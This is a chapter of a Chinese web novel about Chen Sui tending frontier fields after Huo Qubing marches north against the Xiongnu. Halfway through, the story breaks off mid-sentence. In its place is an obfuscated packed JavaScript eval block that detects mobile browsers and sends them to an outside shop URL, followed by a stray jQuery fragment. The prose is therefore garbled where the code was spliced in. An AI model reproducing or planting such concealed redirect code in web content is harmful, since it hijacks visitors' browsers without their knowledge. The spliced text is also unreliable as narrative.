秋天。麦子收了第二茬之后，营地里弥漫着一股干爽的谷物气息，草帘子还没来得及盖上去，茬地赤裸裸地铺在那里等着翻土。陈穗正蹲在田埂上规划明年那片新地的灌溉渠走向，炭笔在她手里的麻布片上画了一道弯弯曲曲的线，她比划着弧度想了很久，还没决定转角处的坡度。
霍去病走到她旁边的时候她没抬头。但他站了一会儿，她画线的手慢慢停了下来。她感觉到他的站姿跟平时不太一样，两条腿的间距比平时略宽，重心微微偏着左腿——他在等她说点什么，但不着急。她抬起头来。他看着她，目光跟平时没什么两样，但他开口说的话跟平时不一样。“天子诏令来了。匈奴大举南侵，我要北上。”
陈穗把手里的炭笔放下来，搁在麻布片旁边的土面上。“什么时候走？”
“明天。”
她把麻布片叠好放进怀里，站起来拍了拍膝盖上的土。“麦子收完了，草帘还没盖。你走之前帮我盖一下北面那三十亩就行。”
他看了她一眼。她说的第一句话是"草帘还没盖"，没有追问"要走多久""什么时候回来"之类的话。她只是安排了一件需要他帮的农活，像在说“你走之前帮我做一下这件事”。他点了一下头：“好。”
那天傍晚两人去了北面那三十亩地。一人搬草帘一人铺，配合得还算默契——当然，默契是他第二次帮她盖草帘时练出来的。第一次是几年前入冬那天晚上，他的动作还生疏。现在他展开草帘的时候手腕一抖就能铺平，压边角的动作也干脆利落。陈穗在他对面铺另一卷，两人各自铺各自的那一段，中间隔着一片正在慢慢被草帘覆盖的茬地。风从西面灌过来，草帘边缘被吹得掀了一下，陈穗伸手压住的时候他那边也伸了一只手过来，两人的手指在草帘边缘碰了一下。
“这次可能久一些。”他开口了，声音比平时低一点，“匈奴左贤王部集结了全部主力，战线比往年长。”
陈穗把手收回来按在膝盖上，看着面前那片已经盖好的草帘。“多久？”
“不知道。半年。一年。”他顿了一下，“也许更久。”
陈穗蹲在那儿沉默了几息。然后她站起来走到旁边那块还没盖的茬地边缘蹲下去，伸手抓了一把土握在掌心。土是新翻的，松软而有弹性。她攥了一会儿松开，土散成细碎的颗粒落回地面。然后她站起来拍了拍手，转过身看着他。“我把土养肥了。等你回来种。”
他没有说话。暮色里他看着她，瞳仁里映着最后一层暗金色的光。
第二天早上他走的时候她没有去送。她是故意没去的。她站在麦田最东面那片还没盖草帘的地里，背对着营门的方向，听到马蹄声和兵甲碰撞的声响渐渐远了，没有回头。过了很久，营门口的声响彻底消失了，风把马蹄扬起的沙土吹散到更远的戈壁上，剩下的只有麦田边草帘被风掀动的窸窣声。她这才转过身，朝营门的方向看了一眼——队伍的最后一个人已经走过河谷拐弯的地方，只剩下隐约的烟尘还浮在半空中。
她低下头，继续翻手里的土。
他走之后的日子跟之前没什么太大的变化。白天的活照样干，水车照样转，文吏照样捧着一摞竹简追在她后面报数字。木棍老兵照常蹲在地头帮她拔草，只是偶尔站起来往北望一眼又蹲回去。陈穗每次都假装没看见，但她自己的目光也会在某一个瞬间不经意地朝北面偏过去，然后再收回来。
第一个月她每天巡视麦田，记生长数据，跟文吏核对账目。系统一切正常，进度条稳步推进。到了晚上她回帐里坐在灯下，把怀里的三片竹片掏出来放在膝盖上，挨个摸了摸边缘，然后收好，吹灯睡觉。
有一天她去主帐送一批粮草记录——霍去病走之后，主帐暂时由副将接手处理军务，她每个月把粮草存量表递一份过去。那天她掀帘进去的时候副将不在，矮几上整整齐齐地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920793|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
摆着几卷军报，旁边的笔架上搁着一支还没洗干净的笔。她放完粮草记录转身要走的时候，余光瞥见矮几角落压着一片竹简，只露出半截。她认出那片竹简边角的痕迹，走过去拿起来看了一眼。那是他走之前没写完的——上面只有半行字：“河西粮草已备足，来年可增兵……”后面的字没写完，笔迹停在一个逗号的位置上，像是被人中途打断了。她看着那半行字看了一会儿，然后把竹简合上放回原处，退了出来。
她站在主帐外面，手里攥着粮草记录的麻布片被风吹得哗啦响。她低头看了一眼那片麻布——她自己在上面写了“存粮充足，水车运转正常，麦田越冬状况良好”一行字。她把那片麻布叠好放回怀里，朝北望了一眼，然后转身走回自己帐里。
那天晚上她坐在灯下，面前摊着一块空白的麻布片。她拿起炭笔想了想，写了几行字：“麦子盖好草帘了。北面那三十亩盖得最厚。你不在没人掀开看，它们长得挺好。”她写完把麻布片叠好放进了那个空荡荡的木盒里。木盒里现在还放着那几片竹简——他走之前让人送回来的那几片，她收到之后没有放进怀里，单独收在木盒里。她盖好木盒盖子，把它放回枕边，然后吹了灯躺下去。黑暗中她在毡子上躺了很久没有入睡。她侧躺着面朝帐篷墙壁，眼睛睁着，手搭在枕边的木盒边缘上，指腹慢慢地摩挲着木盒边缘那圈凹凸不平的棱线。
外面有风掠过草帘顶层的声响，干燥的麦秆相互摩擦着，发出一种近乎耳语的细碎动静。她听了很久，然后把手从木盒上收回来放在被子下面。
他开始北征的第一年。她翻完了那二百亩新地。她一个人把草帘盖完了。她重新修了那架轴承松动的水车。她来主帐送粮草记录的时候替他合上了被风吹开的帐帘。她做这些事情的时候没有想太多，就像在替一个人留着位置。他知道她不会走。她也知道他会回来。
这就是那一年冬天全部的事了。